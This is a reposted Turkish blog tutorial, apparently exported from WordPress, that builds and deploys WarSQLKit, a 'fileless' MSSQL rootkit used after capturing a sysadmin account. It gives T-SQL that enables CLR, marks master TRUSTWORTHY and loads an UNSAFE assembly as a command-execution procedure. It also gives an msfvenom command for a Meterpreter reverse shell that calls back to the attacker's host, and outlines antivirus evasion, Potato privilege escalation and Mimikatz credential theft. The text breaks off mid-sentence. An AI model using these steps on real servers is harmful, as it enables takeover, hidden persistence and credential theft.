{"id":296,"date":"2024-08-14T12:05:03","date_gmt":"2024-08-14T04:05:03","guid":{"rendered":"https:\/\/yudi001.cn\/?p=296"},"modified":"2024-08-14T12:05:03","modified_gmt":"2024-08-14T04:05:03","slug":"mssql-%e6%97%a0%e6%96%87%e4%bb%b6-rootkit-mssql-%e6%94%bb%e5%87%bb%e5%b7%a5%e5%85%b7-warsqlkit","status":"publish","type":"post","link":"http:\/\/www.yudi001.cn\/wordpress\/?p=296","title":{"rendered":"MSSQL \u65e0\u6587\u4ef6 Rootkit \u2013 MSSQL \u653b\u51fb\u5de5\u5177 \u2013 WarSQLKit"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u8f6c\u81ea:<a href=\"https:\/\/eyupcelik.com.tr\/mssql-fileless-rootkit-warsqlkit\/\">https:\/\/eyupcelik.com.tr\/mssql-fileless-rootkit-warsqlkit\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">MSSQL Fileless Rootkit \u2013 MSSQL Attack Tool \u2013 WarSQLKit<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Giri\u015f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu yaz\u0131mda uzun zamand\u0131r u\u011fra\u015ft\u0131\u011f\u0131m bir konuyu ele alaca\u011f\u0131m: MSSQL Rootkit. \u015eimdiye kadar MS-SQL i\u00e7in anlat\u0131lan post-exploitation i\u015flemlerinin b\u00fcy\u00fck \u00e7o\u011funlu\u011fu \u201c<strong>xp_cmdshell<\/strong>\u201d ve \u201c<strong>sp_OACreate<\/strong>\u201d stored procedure\u2019leri kullanarak anlat\u0131l\u0131r. Peki xp_cmdshell ve sp_OACreate stored procedure\u2019lerinin olmad\u0131\u011f\u0131 bir MSSQL sunucusunun \u201c<strong>sa<\/strong>\u201d hesab\u0131n\u0131 yada \u201c<strong>sysadmin<\/strong>\u201d haklar\u0131na sahip herhangi bir kullan\u0131c\u0131 hesab\u0131n\u0131 ele ge\u00e7irmi\u015fsek, o sisteme girmekten vaz m\u0131 ge\u00e7ece\u011fiz?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tabii ki vazge\u00e7mememiz gerekiyor. Bu makale \u201c<strong>sysadmin<\/strong>\u201d haklar\u0131na sahip bir hesab\u0131n\u0131n yakaland\u0131\u011f\u0131 ve \u201c<strong>xp_cmdshel<\/strong>l\u201d, \u201c<strong>sp_OACreate<\/strong>\u201d, \u201c<strong>sp_OAMethod<\/strong>\u201d vb. prosed\u00fcrlerin hi\u00e7birinin \u00e7al\u0131\u015fmad\u0131\u011f\u0131 bir senaryo d\u00fc\u015f\u00fcn\u00fclerek kaleme al\u0131nm\u0131\u015ft\u0131r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WarSQLKit Github:&nbsp;<a href=\"https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WarSQLKit.dll:&nbsp;<a href=\"https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKit\/bin\/Debug\/WarSQLKit.dll\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKit\/bin\/Debug\/WarSQLKit.dll<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WarSQLKit_Compressed.dll:&nbsp;<a href=\"https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKit\/bin\/Debug\/Confused\/WarSQLKit.dll\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKit\/bin\/Debug\/Confused\/WarSQLKit.dll<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WarSQLKitMinimal.dll:&nbsp;<a href=\"https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKitMinimal\/bin\/Debug\/WarSQLKitMinimal.dll\">https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKitMinimal\/bin\/Debug\/W<\/a><a href=\"https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKitMinimal\/bin\/Debug\/WarSQLKitMinimal.dll\" target=\"_blank\" rel=\"noreferrer noopener\">a<\/a><a href=\"https:\/\/github.com\/mindspoof\/MSSQL-Fileless-Rootkit-WarSQLKit\/raw\/master\/WarSQLKitMinimal\/bin\/Debug\/WarSQLKitMinimal.dll\">rSQLKitMinimal.dll<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Meterpreter CSharp (C#) Shellcode:&nbsp;<a href=\"https:\/\/github.com\/mindspoof\/Build-Meterpreter-CSharp-Shellcode\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/mindspoof\/Build-Meterpreter-CSharp-Shellcode<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Meterpreter CSharp (C#) Base64 Encoded Shellcode:&nbsp;<a href=\"https:\/\/github.com\/mindspoof\/Build-Encoded-Meterpreter-C-Shellcode\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/mindspoof\/Build-Encoded-Meterpreter-C-Shellcode<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ba\u015fl\u0131ca konular\u0131m\u0131z a\u015fa\u011f\u0131daki ba\u015fl\u0131klardan olu\u015facakt\u0131r.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>CLR Nedir?<\/li>\n\n\n\n<li>CLR Tabanl\u0131 DLL Nedir?<\/li>\n\n\n\n<li>CLR Tabanl\u0131 DLL Olu\u015fturma<\/li>\n\n\n\n<li>DLL Komut \u0130\u015fleyicisi<\/li>\n\n\n\n<li>Assemblies \u2013 Stored Procedures \u2013 TRUSTWORTHY\u00a0 \u0130li\u015fkisi\n<ol class=\"wp-block-list\">\n<li>DLL Dosyas\u0131n\u0131 Byte Stream Olarak MSSQL\u2019e Y\u00fckleme<\/li>\n\n\n\n<li>DLL Dosyas\u0131n\u0131 SQL Server Management Studio ile MSSQL\u2019e Y\u00fckleme<\/li>\n\n\n\n<li>DLL Dosyas\u0131n\u0131 Sunucudaki Bir Dizinden \u00c7a\u011f\u0131rma<\/li>\n<\/ol>\n<\/li>\n\n\n\n<li>Windows Komutlar\u0131 \u00c7al\u0131\u015ft\u0131rma<\/li>\n\n\n\n<li>C# \u2013 MSSQL Uyumlu Meterpreter ShellCode<\/li>\n\n\n\n<li>.NET Framework\u2019den Faydalanarak (Visual Studio Olmadan) MSSQL \u00dczerinden C# Kodu Derleme<\/li>\n\n\n\n<li>Meterpreter Shellcode\u2019unu Anti-Vir\u00fcslerden Saklama Tekni\u011fi<\/li>\n\n\n\n<li>RottenPotato (Kumpir.exe) \u00dczerinden Hak ve Yetki Y\u00fckseltme<\/li>\n\n\n\n<li>Mimikatz ile Oturum Bilgilerini Elde Etme<\/li>\n\n\n\n<li>File Downloader<\/li>\n\n\n\n<li>WarSQLKit.dll (MSSQL Fileless Rootkit) Kullan\u0131m Rehberi\n<ol class=\"wp-block-list\">\n<li>WarSQLKitMinimal.dll (MSSQL Fileless Rootkit) Kullan\u0131m Rehberi<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">1. CLR<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">CLR (Common Language Runtime \u2013 Ortak Dil \u00c7al\u0131\u015fma Zaman\u0131) MSSQL Server 2005 ile hayat\u0131m\u0131za giren ve MSSQL Server 2016\u2019da da mevcut olan, .NET Framework\u2019\u00fcn kod y\u00fcr\u00fctme ortam\u0131n\u0131 sa\u011flar. Yani MSSQL \u00fczerinden .NET Framework objelerini i\u015fleyip, \u00e7al\u0131\u015ft\u0131rmam\u0131z\u0131 sa\u011flar. MSSQL CLR ile herhangi bir .NET DLL\u2019ini i\u00e7eri aktarma ya da T-SQL ile kod \u00e7al\u0131\u015ft\u0131rma i\u015flemlerini ger\u00e7ekle\u015ftirebiliriz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. CLR Tabanl\u0131 DLL Nedir?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">CLR Tabanl\u0131 DLL; MSSQL i\u00e7in C#, VB.NET vb. .NET dillerinden birini kullanarak sakl\u0131 yordamlar (stored procedure), tetikleyiciler (triggers) vb. T-SQL c\u00fcmlelerinin .NET \u00e7at\u0131s\u0131 \u00fczerinden \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131n\u0131 sa\u011flar. CLR tabanl\u0131 olu\u015fturaca\u011f\u0131m\u0131z bir DLL ile, MSSQL\u2019den DLL dosyas\u0131na stored procedure ya da benzeri T-SQL c\u00fcmleleri g\u00f6ndererek, bu c\u00fcmlelerin \u00e7al\u0131\u015fmas\u0131n\u0131 sa\u011flayabiliriz. Benim i\u00e7in ampullerin yand\u0131\u011f\u0131 yer de tam olarak buras\u0131 oldu. \u015e\u00f6yle d\u00fc\u015f\u00fcnd\u00fcm, ben e\u011fer MSSQL \u00fczerinden herhangi bir .NET objesi \u00e7al\u0131\u015ft\u0131rabiliyorsam, o zaman istedi\u011fim herhangi bir kodu i\u015fletim sisteminde de \u00e7al\u0131\u015ft\u0131rabilirim. Hatta biraz daha ileri giderek, .NET\u2019in t\u00fcm g\u00fcc\u00fcn\u00fc kullanabilir ve kendi Rootkit\u2019imi olu\u015fturabilirim. Peki nas\u0131l yapaca\u011f\u0131z?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. CLR Tabanl\u0131 DLL Olu\u015fturma<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u00d6ncelikle Visual Studio\u2019dan bir proje olu\u015fturaca\u011f\u0131z. New Project &gt; SQL Server &gt; SQL Server Database Project ad\u0131m\u0131n\u0131 izliyoruz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/1_Create_project.png\" alt=\"\" class=\"wp-image-497\"\/><figcaption class=\"wp-element-caption\">1_Create_project<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Projemizi olu\u015fturduktan sonra sa\u011f t\u0131klay\u0131p Add &gt; New Item &gt; SQL CLR C# &gt; SQL CLR C# Stored Procedure ad\u0131m\u0131n\u0131 takip ediyoruz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/2_CLR_Stored_Procedure.png\" alt=\"\" class=\"wp-image-498\"\/><figcaption class=\"wp-element-caption\">2_CLR_Stored_Procedure<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Bu ad\u0131mlardan sonra art\u0131k CLR tabanl\u0131 DLL dosyam\u0131z haz\u0131r durumdad\u0131r. Art\u0131k kodlamaya ba\u015flayabiliriz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. DLL Komut \u0130\u015fleyicisi<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Stored Procedure\u2019\u00fcm\u00fczden DLL\u2019e g\u00f6nderilecek komutlar\u0131 i\u015fleyecek bir metod yazmam\u0131z gerekiyor. Bunu olu\u015fturmam\u0131z\u0131n sebebi MSSQL \u00fczerinden iletilen i\u015fletim sistemi komutlar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rmam\u0131z gerekmesindendir.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/3_clr_cmd.png\" alt=\"\" class=\"wp-image-499\"\/><figcaption class=\"wp-element-caption\">3_clr_cmd<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201c<strong>CmdExec<\/strong>\u201d ad\u0131nda ve \u201c<strong>cmd<\/strong>\u201d parametresine sahip bir static metot tan\u0131mlad\u0131m. Bu static metoda gelen komutlar \u201c<strong>RunCommand<\/strong>\u201d static metoduna iletiliyor. B\u00f6ylece input olarak g\u00f6nderilen komutu parametreleri ile birlikte bir process \u00fczerinden \u00e7al\u0131\u015ft\u0131r\u0131p, sonu\u00e7lar\u0131 d\u00f6nd\u00fcrebilece\u011fiz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/4_run_command.png\" alt=\"\" class=\"wp-image-500\"\/><figcaption class=\"wp-element-caption\">4_run_command<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">RunCommand metoduna g\u00f6nderilen komutlar ile&nbsp;<strong>Process()<\/strong>&nbsp;s\u0131n\u0131f\u0131ndan bir process olu\u015fturup, cmd.exe \u00fczerinden \u00e7al\u0131\u015fmas\u0131n\u0131 ve \u00e7\u0131kt\u0131n\u0131n bize MSSQL \u00fczerinden geri d\u00f6nd\u00fcr\u00fclmesini sa\u011fl\u0131yoruz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5. Assemblies \u2013 Stored Procedures \u2013 TRUSTWORTHY&nbsp; \u0130li\u015fkisi<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">SQL CLR C# Stored Procedure kullanarak .NET DLL\u2019imizin basic halini olu\u015fturduk. Ancak bu dll tek ba\u015f\u0131na i\u015fimize yaramayacakt\u0131r. DLL\u2019i MSSQL\u2019e kay\u0131t ettirerek stored procedure\u2019\u00fcm\u00fcz\u00fc olu\u015fturacak T-SQL\u2019e ihtiyac\u0131m\u0131z var. MSSQL \u00fczerinden CLR tabanl\u0131 DLL dosyalar\u0131n olu\u015fturulmas\u0131na ve \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na izin vermemiz gerekiyor. MSSQL Server 2016 varsay\u0131landa CLR tabanl\u0131 DLL dosyalar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rmaz, disable olarak gelir. Bu ayar\u0131 de\u011fi\u015ftirmek i\u00e7in a\u015fa\u011f\u0131daki koddan yararlan\u0131yoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sp_configure 'clr enabled', 1\nGO\nRECONFIGURE\nGO<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Yukar\u0131daki kod ile \u201c<strong>clr enabled<\/strong>\u201d parametresini aktif hale getiriyoruz. Bu i\u015flemin ard\u0131ndan DLL dosyalar\u0131m\u0131z Assemblies olarak MSSQL\u2019e eklenebilir.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">TRUSTWORTHY; MSSQL veritaban\u0131nda yer alan veritabanlar\u0131n\u0131n g\u00fcvenli olarak i\u015faretlenmesini sa\u011flar. G\u00fcvenli olarak i\u015faretlenmi\u015f veritabanlar\u0131 objelere, a\u011f ve i\u015flem kaynaklar\u0131na eri\u015febilir. Trustworthy ile veritaban\u0131n\u0131 g\u00fcvenli olarak i\u015faretlemek i\u00e7in a\u015fa\u011f\u0131daki kodu kullanabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ALTER DATABASE master SET TRUSTWORTHY ON;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Bu i\u015fleminde ard\u0131ndan haz\u0131rlad\u0131\u011f\u0131m\u0131z DLL dosyas\u0131n\u0131 MSSQL\u2019e Assemblies olarak tan\u0131tmam\u0131z gerekecek. \u0130\u015fin en g\u00fczel taraf\u0131 buras\u0131 diyebilirim. MSSQL\u2019de Assemblies (.NET DLL) tan\u0131mlaman\u0131n 3 farkl\u0131 y\u00f6ntemi mevcut. Yani olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131 3 farkl\u0131 y\u00f6ntem kullanarak veritaban\u0131na y\u00fckleyebiliriz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">a. DLL Dosyas\u0131n\u0131 Byte Stream Olarak MSSQL\u2019e Y\u00fckleme<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131 MSSQL\u2019e bir Byte Stream halinde y\u00fckleyebiliriz. Bunun i\u00e7in ayr\u0131 bir projede olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131 File.ReadAllBytes() s\u0131n\u0131f\u0131 ile \u00e7a\u011f\u0131rmam\u0131z gerekiyor.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/5_byteStream-1024x68.png\" alt=\"\" class=\"wp-image-501\"\/><figcaption class=\"wp-element-caption\">5_byteStream<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Ayr\u0131 bir projede olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131 byte Stream t\u00fcr\u00fcnden okuyarak byteStream.txt dosyas\u0131na yazd\u0131rd\u0131m. Art\u0131k elimizde DLL dosyas\u0131n\u0131n byte Stream\u2019i mevcut. MSSQL\u2019e herhangi bir DLL y\u00fcklemeden bu byte Stream ile Assemblies\u2019e DLL dosyam\u0131z\u0131 kaydettirebilece\u011fiz. Bunun i\u00e7in birka\u00e7 SQL koduna ihtiyac\u0131m\u0131z olacakt\u0131r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Not: Bu y\u00f6ntem ile MSSQL\u2019de herhangi bir DLL dosyas\u0131 olu\u015fturmadan sadece Stream olarak DLL dosyam\u0131z\u0131 tutaca\u011f\u0131z. B\u00f6ylece Rootkit\u2019imiz tamamen fileless olacakt\u0131r.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CREATE ASSEMBLY sp_cmdExec\nFROM 0x4D5A90000300000004000000FFFF0000B800000000000\nWITH PERMISSION_SET = UNSAFE\nGO<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">CREATE ASSEMBLY komutu ile \u201c<strong>sp_cmdExec<\/strong>\u201d ad\u0131nda bir Assemblies olu\u015fturuyoruz. Ard\u0131ndan FROM komutu ile dosyaya yazd\u0131rd\u0131\u011f\u0131m\u0131z byte Stream\u2019i se\u00e7ece\u011fiz. Burada dikkat etmemiz gereken en \u00f6nemli nokta \u015fudur; text dosyas\u0131na yazd\u0131rd\u0131\u011f\u0131m\u0131z byte Stream\u2019in ba\u015f\u0131nda \u201c<strong>0x<\/strong>\u201d bulunmamaktad\u0131r. Text dosyam\u0131zdaki stream\u2019i yap\u0131\u015ft\u0131rd\u0131\u011f\u0131m\u0131zda \u00e7al\u0131\u015fmayacakt\u0131r. Bu y\u00fczden 0x\u2019i yazd\u0131ktan sonra text dosyam\u0131zdaki byte stream\u2019i yap\u0131\u015ft\u0131r\u0131yoruz.&nbsp;<strong>WITH PERMISSION_SET = UNSAFE<\/strong>&nbsp;parametresi ile de DLL dosyam\u0131z\u0131n g\u00fcvenli olmayan kaynaklara eri\u015fmesini (yani sadece sql, t-sql kodlar\u0131 \u00e7al\u0131\u015ft\u0131rmayaca\u011f\u0131m\u0131z\u0131) belirtiyoruz. E\u011fer parametre olarak SAFE parametresini verirsek ve CMD komutu \u00e7al\u0131\u015ft\u0131rmaya \u00e7al\u0131\u015f\u0131rsak, \u201c<strong>System.Security.HostProtectionException<\/strong>\u201d hatas\u0131 f\u0131rlat\u0131lacak ve cmd komutumuz hi\u00e7bir zaman \u00e7al\u0131\u015fmayacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/clr.png\" alt=\"\" class=\"wp-image-535\"\/><figcaption class=\"wp-element-caption\">clr<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Yukar\u0131daki resimde g\u00f6r\u00fclece\u011fi \u00fczere, SAFE sadece database \u00fczerinde i\u015flem yapt\u0131rmaktad\u0131r. EXTERNAL_ACCESS Dosyalara, Registry\u2019e ve Network\u2019e eri\u015fmemize olanak verir. UNSAFE ise Native DLL\u2019lere, COM objelerine ve di\u011fer g\u00fcvenli olmayan kaynaklara eri\u015fmemize imkan verir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">b. DLL Dosyas\u0131n\u0131 SQL Server Management Studio ile MSSQL\u2019e Y\u00fckleme<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131 SQL Server Management Studio \u00fczerinden de MSSQL\u2019e kaydettirebiliriz. Bunun i\u00e7in MSSQL\u2019e management studio arac\u0131l\u0131\u011f\u0131 ile ba\u011flanal\u0131m.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/6_save_assemblies.png\" alt=\"\" class=\"wp-image-502\"\/><figcaption class=\"wp-element-caption\">6_save_assemblies<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Databases alt\u0131ndan System Databases\u2019e ve Master\u2019a eri\u015felim. Ard\u0131ndan Programmability men\u00fcs\u00fcnden Assemblies\u2019e sa\u011f t\u0131klayarak \u201cNew Assembly\u2026\u201di se\u00e7elim.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/7_selecet_assemblies.png\" alt=\"\" class=\"wp-image-503\"\/><figcaption class=\"wp-element-caption\">7_select_assemblies<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Browse men\u00fcs\u00fcnden olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131 se\u00e7erek DLL\u2019imizi kaydettirebiliriz. Bu i\u015flemin ard\u0131ndan Assemblies men\u00fcs\u00fcne DLL dosyam\u0131z\u0131n eklendi\u011fini g\u00f6rmemiz gerekiyor.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/8_save_assemblies.png\" alt=\"\" class=\"wp-image-504\"\/><figcaption class=\"wp-element-caption\">8_save_assemblies<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Yukar\u0131daki ekran g\u00f6r\u00fcnt\u00fcs\u00fcnde g\u00f6r\u00fclece\u011fi \u00fczere \u201cWarSQLKit\u201d ad\u0131ndaki DLL dosyam\u0131z Assemblies\u2019e kaydedildi.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">c. DLL Dosyas\u0131n\u0131 Sunucudaki Bir Dizinden \u00c7a\u011f\u0131rma<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">DLL dosyam\u0131z\u0131 Assemblies\u2019e kaydettirmemizin bir di\u011fer yolu da sunucudaki herhangi bir dizinden DLL\u2019i load etmemizdir. Bunun i\u00e7in de a\u015fa\u011f\u0131daki komutlardan yararlanabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CREATE ASSEMBLY sp_cmdExec\nFROM 'C:\\ProgramData\\WarSQLKit.dll'\nWITH PERMISSION_SET = UNSAFE\nGO<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">DLL dosyam\u0131z\u0131 herhangi bir y\u00f6ntem ile MSSQL sunucusuna y\u00fcklediysek, DLL dosyam\u0131z\u0131 bir dizinden de \u00e7a\u011f\u0131rabiliriz. \u00c7a\u011f\u0131rd\u0131\u011f\u0131m\u0131z DLL dosyas\u0131 load olduktan sonra, sunucudan silebiliriz. DLL dosyas\u0131n\u0131 sunucudan sildi\u011fimizde bile Assemblies\u2019imiz yine \u00e7al\u0131\u015fmas\u0131na devam edecektir. \u00c7ok g\u00fczel de\u011fil mi?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3 y\u00f6ntemden herhangi birini kullanarak DLL dosyam\u0131z\u0131 Assemblies\u2019e kaydettikten sonra, DLL dosyam\u0131zda olu\u015fturdu\u011fumuz CmdExec static metodunu \u00e7a\u011f\u0131rmam\u0131z ya da i\u015flem \u00e7a\u011fr\u0131s\u0131 g\u00f6ndermemiz gerekiyor. Bunu yapabilmek i\u00e7in son olarak bir stored procedure\u2019e ihtiyac\u0131m\u0131z var. A\u015fa\u011f\u0131daki komutlar ile stored procedure\u2019\u00fcm\u00fcz\u00fc olu\u015fturabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CREATE PROCEDURE sp_cmdExec\n@Command &#91;nvarchar](4000)\nWITH EXECUTE AS CALLER\nAS\nEXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec\nGO<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Yukar\u0131daki kodlar\u0131m\u0131z\u0131 detayland\u0131racak olursak, CREATE PROCEDURE \u201c<strong>sp_cmdExec<\/strong>\u201d komutu ile sp_cmdExec ad\u0131nda bir stored procedure olu\u015fturuyoruz. Art\u0131k \u201c<strong>xp_cmdshell<\/strong>\u201d yerine \u201csp_cmdExec\u201d komutunu kullanaca\u011f\u0131z. @Command [nvarchar] (4000) ile de komut parametremizi tan\u0131ml\u0131yoruz. Nvarchar maksimum 4000 karaktere destek verdi\u011fi i\u00e7in 4000 karakterlik komut \u00e7al\u0131\u015ft\u0131rabilir ya da g\u00f6r\u00fcnt\u00fcleyebiliriz. EXTERNAL NAME parametresi ile olu\u015fturdu\u011fumuz DLL dosyas\u0131n\u0131n namespace\u2019i olan WarSQLKit\u2019i, bu namespace i\u00e7erisinde yer alan StoredProcedures isimli public partial class\u2019\u0131m\u0131z\u0131 ve CmdExec isimli public static void t\u00fcr\u00fcndeki metodumuzu \u00e7a\u011f\u0131r\u0131yoruz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Art\u0131k her \u015feyimiz haz\u0131r, gidip komutlar\u0131m\u0131z\u0131 \u00e7al\u0131\u015ft\u0131ral\u0131m.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">6. Windows Komutlar\u0131 \u00c7al\u0131\u015ft\u0131rma<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/9_cmdexec.png\" alt=\"\" class=\"wp-image-505\"\/><figcaption class=\"wp-element-caption\">9_cmdexec<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">EXEC sp_cmdExec \u2018net user\u2019; komutu ile Windows Yerel Kullan\u0131c\u0131 listesini ekrana getirdik. Art\u0131k xp_cmdshell ve sp_OACrate gibi bir procedure\u2019e ihtiyac\u0131m\u0131z bulunmuyor. Bildi\u011fimiz t\u00fcm Windows komutlar\u0131n\u0131 i\u015fletim sistemine g\u00f6nderebiliriz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">7. C# \u2013 MSSQL Uyumlu Meterpreter ShellCode<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Buraya kadar temel xp_cmdshell\u2019den pek farkl\u0131 bir \u015fey yapmad\u0131k. Rootkit\u2019imizi rootkit yapan k\u0131s\u0131mlara \u015fimdi ge\u00e7ebiliriz. Hat\u0131rlarsan\u0131z, .NET Framework\u2019\u00fcn g\u00fcc\u00fcn\u00fc MSSQL\u2019de kullanabilece\u011fimizden bahsetmi\u015ftim. O halde DLL dosyam\u0131z\u0131 biraz daha modifiye ederek, i\u00e7erisine Meterpreter Shellcode\u2019unu g\u00f6melim. B\u00f6ylece sp_cmdExec stored procedure\u2019\u00fcm\u00fcze tan\u0131mlayaca\u011f\u0131m\u0131z bir parametre ile Meterpreter oturumu elde edebiliriz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Daha \u00f6nce okumayanlar i\u00e7in temel msfvenom kullan\u0131m\u0131na bu adresten eri\u015febilirsiniz.<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/eyupcelik.com.tr\/derinlemesine-msfvenom-kullanimi\/embed\/#?secret=h4DFMZjLzo#?secret=O4ZQzZWms6\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Kali i\u015fletim sistemimizden terminal ekran\u0131na eri\u015ferek msfvenom \u00fczerinden csharp uyumlu shellcode olu\u015ftural\u0131m. Bunun i\u00e7in a\u015fa\u011f\u0131daki komutlardan yararlanabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/10_msfvenom_csharp-1024x436.png\" alt=\"\" class=\"wp-image-506\"\/><figcaption class=\"wp-element-caption\">10_msfvenom_csharp<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Olu\u015fturdu\u011fumuz shellcode 323 byte\u2019l\u0131k bir kod olacakt\u0131r. Olu\u015fturdu\u011fumuz shellcode\u2019u csharp uyumlu olarak olu\u015fturduk. Meterpreter kodlar\u0131n\u0131 derlemek ve \u00e7al\u0131\u015ft\u0131rmak i\u00e7in DLL dosyam\u0131za yeni bir class eklememiz gerekiyor. Ben MeterpreterBuilder ad\u0131nda bir class 